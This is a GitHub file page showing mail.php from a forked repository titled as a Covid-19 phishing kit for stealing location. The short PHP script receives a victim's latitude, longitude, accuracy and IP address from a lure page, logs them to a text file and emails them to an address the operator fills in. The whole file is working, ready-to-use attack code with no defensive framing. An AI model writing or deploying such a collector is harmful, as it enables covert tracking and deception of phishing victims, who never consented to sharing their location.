forked from swagkarna/Covid19-Phishing-Steal-Location-
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmail.php
22 lines (19 loc) · 726 Bytes
/
mail.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
mb_internal_encoding('UTF-8');
if($_SERVER["CONTENT_TYPE"] == 'application/json') {
$data = file_get_contents('php://input');
$coordinates = json_decode($data, true);
if(isset($coordinates['lat'], $coordinates['lon'], $coordinates['accuracy'])) {
$msg = 'lat: ' . floatval($coordinates['lat']) . "\n" .
'lon: ' . floatval($coordinates['lon']) . "\n" .
'acc: ' . intval($coordinates['accuracy']) . "\n" .
'ip: ' . $_SERVER['REMOTE_ADDR'];
$file = fopen('logs.txt', 'a') ;
$ms = PHP_EOL.$msg ;
fwrite($file, $ms) ;
fclose($file);
//enter your email below
mail('youremail@gmail.com', 'Anon', $msg);
}
}
?>